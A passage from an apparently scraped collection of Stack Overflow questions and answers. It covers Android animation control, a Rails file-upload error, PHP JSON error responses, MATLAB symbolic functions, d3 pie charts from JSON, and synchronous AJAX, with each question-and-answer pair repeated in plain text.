            Timber.i("onAnimationRepeatFAB: elapeed seconds: %d", (now - startTime) / 1000);
            if ((now - startTime > 7000) && (offset % 4 == 0)) { // stop animation after X seconds
                animation.setRepeatCount(0);
            } else {
                offset++;
                animation.setStartOffset(offset % 4 == 0 ? 700 : 0);
            }
        }
    });
    mFAB.startAnimation(animation);
</code>```

About the FAB it's easy.

```<code>public void onBackPressed() {
    mFAB.clearAnimation();
</code>```

But how do I stop the other animation defined like this? I don't know how to access the animation of the TAB below.

```<code>private void populateViewPager(List<Tab> tabs) {
    // clear all listeners before populating new tabs
    mTabLayout.setOnTabSelectedListener(null);
    mViewPager.clearOnPageChangeListeners();

    if (mPagerAdapter == null) {
        mPagerAdapter = new TabsPagerAdapter(this, getSupportFragmentManager());
        mViewPager.setAdapter(mPagerAdapter);
    }

    // populate tabs
    mPagerAdapter.setTabs(tabs);
    if (mPagerAdapter.getCount() > DEFAULT_TAB_POSITION)
        mViewPager.setCurrentItem(DEFAULT_TAB_POSITION);
    mTabLayout.setupWithViewPager(mViewPager);

    // set animation on corresponding tabs
    List<Tab> pagerTabs = mPagerAdapter.getTabs();
    for (int i = 0; i < pagerTabs.size(); i++) {
        Tab pagerTab = pagerTabs.get(i);
        if (pagerTab.isAnimated()) {
            Timber.i("Animating tab: %s", pagerTab.getId());
            TabLayout.Tab tab = mTabLayout.getTabAt(i);
            if (tab != null) {
                // set custom view in order to get it back then
                tab.setCustomView(R.layout.partial_tab_view);

                // set animation on the custom view
                Animation animation = loadAnimation(MainDrawerActivity.this, R.anim.tab_scale_up_down);
                animation.setRepeatCount(Animation.INFINITE);
                animation.setAnimationListener(new SimpleAnimationListener() {
                    private long offset;
                    private long startTime;

                    @Override
                    public void onAnimationStart(Animation animation) {
                        startTime = System.currentTimeMillis();
                    }

                    @Override
                    public void onAnimationRepeat(Animation animation) {
                        final long now = System.currentTimeMillis();
                        Timber.i("onAnimationRepeat: elapeed seconds: %d", (now - startTime) / 1000);
                        if ((now - startTime > 7000) && (offset % 4 == 0)) { // stop animation after X seconds
                            animation.setRepeatCount(0);
                        } else {
                            offset++;
                            animation.setStartOffset(offset % 4 == 0 ? 700 : 0);
                        }
                    }
                });
                //noinspection ConstantConditions
                tab.getCustomView().setAnimation(animation);
            } else {
                Timber.w("tab!=null");
            }
        }
    }
}
</code>```

答:
The other answers about saving the animation as an object variable, will not work in your code, as you are creating a separate animation for each tab.

Having said that, the fact that you are creating animations for tabs that are not visible, is a huge waste of resources.
Change your code, add a pager listener, and set animation only on current page. Do that by creating single Animation object variable, attach it to current view. When page changes, cancel it, destroy it, and create new one for current page (not sure if you can reuse the old one). Now that you have a single Animation variable, you can also cancel it in onBackPressed.

Title: How to stop an animation onBackPressed?

Body:
In my MainActivity I have 2 animations (FAB and a TAB title) and I would like to stop them onBackPressed.

@Bind(R.id.fab_text) Button mFAB;
...
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main_drawer);

    Animation animation = loadAnimation(MainDrawerActivity.this, R.anim.fab_scale_up_down);
    animation.setRepeatCount(Animation.INFINITE);
    animation.setAnimationListener(new SimpleAnimationListener() {
        private long offset;
        private long startTime;

        @Override
        public void onAnimationStart(Animation animation) {
            startTime = System.currentTimeMillis();
        }

        @Override
        public void onAnimationRepeat(Animation animation) {
            final long now = System.currentTimeMillis();
            Timber.i("onAnimationRepeatFAB: elapeed seconds: %d", (now - startTime) / 1000);
            if ((now - startTime > 7000) && (offset % 4 == 0)) { // stop animation after X seconds
                animation.setRepeatCount(0);
            } else {
                offset++;
                animation.setStartOffset(offset % 4 == 0 ? 700 : 0);
            }
        }
    });
    mFAB.startAnimation(animation);

About the FAB it's easy.

public void onBackPressed() {
    mFAB.clearAnimation();

But how do I stop the other animation defined like this? I don't know how to access the animation of the TAB below.

private void populateViewPager(List<Tab> tabs) {
    // clear all listeners before populating new tabs
    mTabLayout.setOnTabSelectedListener(null);
    mViewPager.clearOnPageChangeListeners();

    if (mPagerAdapter == null) {
        mPagerAdapter = new TabsPagerAdapter(this, getSupportFragmentManager());
        mViewPager.setAdapter(mPagerAdapter);
    }

    // populate tabs
    mPagerAdapter.setTabs(tabs);
    if (mPagerAdapter.getCount() > DEFAULT_TAB_POSITION)
        mViewPager.setCurrentItem(DEFAULT_TAB_POSITION);
    mTabLayout.setupWithViewPager(mViewPager);

    // set animation on corresponding tabs
    List<Tab> pagerTabs = mPagerAdapter.getTabs();
    for (int i = 0; i < pagerTabs.size(); i++) {
        Tab pagerTab = pagerTabs.get(i);
        if (pagerTab.isAnimated()) {
            Timber.i("Animating tab: %s", pagerTab.getId());
            TabLayout.Tab tab = mTabLayout.getTabAt(i);
            if (tab != null) {
                // set custom view in order to get it back then
                tab.setCustomView(R.layout.partial_tab_view);

                // set animation on the custom view
                Animation animation = loadAnimation(MainDrawerActivity.this, R.anim.tab_scale_up_down);
                animation.setRepeatCount(Animation.INFINITE);
                animation.setAnimationListener(new SimpleAnimationListener() {
                    private long offset;
                    private long startTime;

                    @Override
                    public void onAnimationStart(Animation animation) {
                        startTime = System.currentTimeMillis();
                    }

                    @Override
                    public void onAnimationRepeat(Animation animation) {
                        final long now = System.currentTimeMillis();
                        Timber.i("onAnimationRepeat: elapeed seconds: %d", (now - startTime) / 1000);
                        if ((now - startTime > 7000) && (offset % 4 == 0)) { // stop animation after X seconds
                            animation.setRepeatCount(0);
                        } else {
                            offset++;
                            animation.setStartOffset(offset % 4 == 0 ? 700 : 0);
                        }
                    }
                });
                //noinspection ConstantConditions
                tab.getCustomView().setAnimation(animation);
            } else {
                Timber.w("tab!=null");
            }
        }
    }
}


问:
undefined method `find' for File:Class
I'm trying to create a ROR application that allows me to upload excel files. I want to be able to list out the names of all excel files uploaded with a clickable link to each name that will bring me to the show.html.erb page which will show the data of the file.

I'm stuck with this "undefined method `find' for File:Class" error when i try to access the reports/index page, probably because there is not identifier associated with the file, but only with the row of the excel data.

Here is my schema:

```<code>ActiveRecord::Schema.define(version: 20170402043056) do

  create_table "files", force: :cascade do |t|
    t.string   "Name"
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  create_table "reports", force: :cascade do |t|
    t.string "date"
    t.string "order"
    t.string "item"
    t.string "product"
  end

end
</code>```

I have added this to routes.rb:

```<code>resources :reports do
  collection { post :import }
end
</code>```

Reports model:

```<code>`class Report< ActiveRecord::Base

require 'roo'
belongs_to  :file

def self.import(file)
  spreadsheet = open_spreadsheet(file)
  header = spreadsheet.row(1)
  (2..spreadsheet.last_row).each do |i|
    row = Hash[[header, spreadsheet.row(i)].transpose]
    report = find_by_id(row["id"]) || new
    report.attributes = row.to_hash
    report.save!
  end
end

def self.open_spreadsheet(file)
  case File.extname(file.original_filename)
  when ".csv" then Roo::CSV.new(file.path, packed: false, file_warning: :ignore)
  when ".xls" then Roo::Excel.new(file.path, packed: false, file_warning: :ignore)
  when ".xlsx" then Roo::Excelx.new(file.path, packed: false, file_warning: :ignore)
  else raise "Unknown file type: #{file.original_filename}"
  end
end

end
</code>```

reports_controller:

```<code>class ReportsController < ApplicationController

def index
@file = File.all
end

def show
@file = File.find(params[:id])
end

def import
@report = Report.import(params[:file])
@file = File.import(params[:id])
redirect_to reports_path, notice: "report imported."
end

end
</code>```

new.html.erb (page to upload file):

```<code><%= form_tag import_reports_path, multipart: true do %>
  <%= file_field_tag :file %>
  <%= submit_tag "Import" %>
<% end %>
</code>```

index.html.erb (page to list out names of files uploaded):

```<code><h1>List of reports uploaded</h1>

<table>
  <thead>
    <tr>
      <th>Name</th>
      <th>Created at</th>
      <th>Updated at</th>
    </tr>
  </thead>

  <tbody>
    <% @report.each do |report| %>
      <tr>
        <td><%= report.original_filename %></td>
        <td><%= report.created_at %></td>
        <td><%= report.update_at %></td>
      </tr>
    <% end %>
  </tbody>
</table>
</code>```

show.html.erb (page showing the data):

```<code><h1>Report data</h1>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Order</th>
      <th>Item</th>
      <th>Product</th>
      <th></th>
      <th></th>
    </tr>
  </thead>

  <tbody>
    <% @report.each do |report| %>
      <tr>
        <td><%= report.date %></td>
        <td><%= report.order %></td>
        <td><%= report.item %></td>
        <td><%= report.product %></td>
      </tr>
    <% end %>
  </tbody>
</table>
</code>```

答:
the reports/index page should be visited as /reports, not /reports/index.

The path /reports/index, only match show route reports/:id, so it regards index as the report id, so the exception happens.

Title: undefined method `find' for File:Class

Body:
I'm trying to create a ROR application that allows me to upload excel files. I want to be able to list out the names of all excel files uploaded with a clickable link to each name that will bring me to the show.html.erb page which will show the data of the file.

I'm stuck with this "undefined method `find' for File:Class" error when i try to access the reports/index page, probably because there is not identifier associated with the file, but only with the row of the excel data.

Here is my schema:

ActiveRecord::Schema.define(version: 20170402043056) do

  create_table "files", force: :cascade do |t|
    t.string   "Name"
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  create_table "reports", force: :cascade do |t|
    t.string "date"
    t.string "order"
    t.string "item"
    t.string "product"
  end

end

I have added this to routes.rb:

resources :reports do
  collection { post :import }
end

Reports model:

`class Report< ActiveRecord::Base

require 'roo'
belongs_to  :file

def self.import(file)
  spreadsheet = open_spreadsheet(file)
  header = spreadsheet.row(1)
  (2..spreadsheet.last_row).each do |i|
    row = Hash[[header, spreadsheet.row(i)].transpose]
    report = find_by_id(row["id"]) || new
    report.attributes = row.to_hash
    report.save!
  end
end

def self.open_spreadsheet(file)
  case File.extname(file.original_filename)
  when ".csv" then Roo::CSV.new(file.path, packed: false, file_warning: :ignore)
  when ".xls" then Roo::Excel.new(file.path, packed: false, file_warning: :ignore)
  when ".xlsx" then Roo::Excelx.new(file.path, packed: false, file_warning: :ignore)
  else raise "Unknown file type: #{file.original_filename}"
  end
end

end

reports_controller:

class ReportsController < ApplicationController

def index
@file = File.all
end

def show
@file = File.find(params[:id])
end

def import
@report = Report.import(params[:file])
@file = File.import(params[:id])
redirect_to reports_path, notice: "report imported."
end

end

new.html.erb (page to upload file):

<%= form_tag import_reports_path, multipart: true do %>
  <%= file_field_tag :file %>
  <%= submit_tag "Import" %>
<% end %>

index.html.erb (page to list out names of files uploaded):

List of reports uploaded

      Name
      Created at
      Updated at

    <% @report.each do |report| %>

        <%= report.original_filename %>
        <%= report.created_at %>
        <%= report.update_at %>

    <% end %>

show.html.erb (page showing the data):

Report data

      Date
      Order
      Item
      Product

    <% @report.each do |report| %>

        <%= report.date %>
        <%= report.order %>
        <%= report.item %>
        <%= report.product %>

    <% end %>


问:
PHP - End execution of current file from within function
I want send error message to a form via AJAX as JSON data from PHP - numeric e.g. numeric code, text message and class (error, warning, success...)

I wonder If I can make function, which sends JSON header, echoes encoded data and ends up processing CURRENT FILE where it was executed.
I know I can do it in global code as return, but from within function?

e.g. data.php included into ajax.php, return ends processing of data.php and continues on ajax.php:

```<code>header(json...)
echo json_encode('enter your name', 'warning');
return;
</code>```

And in func sth like:

```<code>function a($class, $message){
header(json...)
echo json_encode(array($class, $message));
//End processing ONLY file, where it's executed
}
</code>```

答:
I'm not entirely clear what you're asking, but I think this is what you're looking for.

Error Function

```<code>function error(array $data, $statusCode = 400) {
    header('Content-Type: application/json');
    http_response_code($statusCode);
    echo json_encode($data);
    exit;
}
</code>```

Calling Function

```<code>error(
    array(
        'message' => 'Name was not filled in',
        'code' => 37
   )
);
</code>```

Output

```<code>Status Code: 400 Bad Data
Content-Type: application/json

{"message": "Name was not filled in", "code": 37}
</code>```

Note, you need to make sure this error function is called before ANY output is sent to the browser otherwise it will not work as expected

Body:
I want send error message to a form via AJAX as JSON data from PHP - numeric e.g. numeric code, text message and class (error, warning, success...)

I wonder If I can make function, which sends JSON header, echoes encoded data and ends up processing CURRENT FILE where it was executed.
I know I can do it in global code as return, but from within function?

e.g. data.php included into ajax.php, return ends processing of data.php and continues on ajax.php:

header(json...)
echo json_encode('enter your name', 'warning');
return;

And in func sth like:

function a($class, $message){
header(json...)
echo json_encode(array($class, $message));
//End processing ONLY file, where it's executed
}

Body:
I'm not entirely clear what you're asking, but I think this is what you're looking for.

Error Function

function error(array $data, $statusCode = 400) {
    header('Content-Type: application/json');
    http_response_code($statusCode);
    echo json_encode($data);
    exit;
}

Calling Function

error(
    array(
        'message' => 'Name was not filled in',
        'code' => 37
   )
);

Output

Status Code: 400 Bad Data
Content-Type: application/json

{"message": "Name was not filled in", "code": 37}

Note, you need to make sure this error function is called before ANY output is sent to the browser otherwise it will not work as expected


问:
Making symbolic functions without hard-coding in MATLAB
I want to make symbolic functions theta1(t), theta2(t), theta3(t),...,thetaN(t) where N is some parameter I can define in MATLAB. I know that I can use something like sym('theta',[1 N]) to get [theta1, theta2, theta3,..., thetaN]. However, how can I do the same thing with theta being a function of t? The way to hard-code it would be like syms theta1(t) theta2(t) theta3(t) ... thetaN(t), but I want to make this general.

I do not want to directly use the sym command here because "support of character vectors that are not valid variable names and do not define a number will be removed in a future release", meaning something like sym('theta1(t)') would not be valid in future releases.

Any suggestions?

答:
Figured part of it out. I could do something like the following

```<code>for i = 1:N
    syms(strcat('theta',num2str(i),'(t)'))
end
</code>```

However, if I want to assign a variable that contains all the symbolic expressions I'm still stuck. If I try

```<code>for i = 1:N
    my_array(i) = syms(strcat('theta',num2str(i),'(t)'))
end
</code>```

I get Error using syms (line 133). Using input and output arguments simultaneously is not supported. It works if I use sym instead of syms, but this leads to the warning I mentioned in my original post.

Body:
Figured part of it out. I could do something like the following

for i = 1:N
    syms(strcat('theta',num2str(i),'(t)'))
end

However, if I want to assign a variable that contains all the symbolic expressions I'm still stuck. If I try

for i = 1:N
    my_array(i) = syms(strcat('theta',num2str(i),'(t)'))
end

I get Error using syms (line 133). Using input and output arguments simultaneously is not supported. It works if I use sym instead of syms, but this leads to the warning I mentioned in my original post.


问:
how to read json file in d3 using pie chart?
I am trying to make pie chart using d3 lib .I tried first using csv file .It is working fine
here is my code
https://plnkr.co/edit/GQVptaAULzHVRYsQCycG?p=preview

But
when I used json file instead of csv file it not show pie chart

here is my code
https://plnkr.co/edit/OYH6TYPPJgshaSzPbN1e?p=preview

```<code>d3.json("data.json", function(d) {
       // alert(d)
        d.population = +d.population;
        return d;
    }, function(error, data) {
        if (error) throw error;

        var arc = g.selectAll(".arc")
            .data(pie(data))
            .enter().append("g")
            .attr("class", "arc");

        arc.append("path")
            .attr("d", path)
            .attr("fill", function(d) { return color(d.data.age); });

        arc.append("text")
            .attr("transform", function(d) { return "translate(" + label.centroid(d) + ")"; })
            .attr("dy", "0.35em")
            .text(function(d) { return d.data.age; });
    });
</code>```

doc

https://bl.ocks.org/mbostock/3887235

答:
Callback function for getting json was set differently (older style).

After I got the code to work I investigated and confirmed how callbacks were sent. On a good request without any errors passes (null, data). Bad request passes only (error)

Here's how it should look

```<code>d3.json("data.json", function(error, data) {
    if (error) throw error;

    var arc = g.selectAll(".arc")
        .data(pie(data))
        .enter().append("g")
        .attr("class", "arc");

    arc.append("path")
        .attr("d", path)
        .attr("fill", function(d) {
            return color(d.data.age);
        });

    arc.append("text")
        .attr("transform", function(d) {
            return "translate(" + label.centroid(d) + ")";
        })
        .attr("dy", "0.35em")
        .text(function(d) {
            return d.data.age;
        });
});
</code>```

Body:
I am trying to make pie chart using d3 lib .I tried first using csv file .It is working fine
here is my code
https://plnkr.co/edit/GQVptaAULzHVRYsQCycG?p=preview

But
when I used json file instead of csv file it not show pie chart

here is my code
https://plnkr.co/edit/OYH6TYPPJgshaSzPbN1e?p=preview

d3.json("data.json", function(d) {
       // alert(d)
        d.population = +d.population;
        return d;
    }, function(error, data) {
        if (error) throw error;

        var arc = g.selectAll(".arc")
            .data(pie(data))
            .enter().append("g")
            .attr("class", "arc");

        arc.append("path")
            .attr("d", path)
            .attr("fill", function(d) { return color(d.data.age); });

        arc.append("text")
            .attr("transform", function(d) { return "translate(" + label.centroid(d) + ")"; })
            .attr("dy", "0.35em")
            .text(function(d) { return d.data.age; });
    });

doc

https://bl.ocks.org/mbostock/3887235

Body:
Callback function for getting json was set differently (older style).

After I got the code to work I investigated and confirmed how callbacks were sent. On a good request without any errors passes (null, data). Bad request passes only (error)

Here's how it should look

d3.json("data.json", function(error, data) {
    if (error) throw error;

    var arc = g.selectAll(".arc")
        .data(pie(data))
        .enter().append("g")
        .attr("class", "arc");

    arc.append("path")
        .attr("d", path)
        .attr("fill", function(d) {
            return color(d.data.age);
        });

    arc.append("text")
        .attr("transform", function(d) {
            return "translate(" + label.centroid(d) + ")";
        })
        .attr("dy", "0.35em")
        .text(function(d) {
            return d.data.age;
        });
});


问:
When is it appropriate to use synchronous ajax?
I was just reading another question about jQuery's synchronous ajax call, and I got to wondering:

What circumstances make a synchronous version of an ajax call beneficial/necessary?

Ideally I'd like an example, and why synchronous is better than standard ajax.

答: I would venture a guess that it'd be good in a scenario where you want to perform some ajax calls but you have one call that relies on the results of another call. If you perform them synchronously you can wait for the independent to finish before the dependent call fires.</p>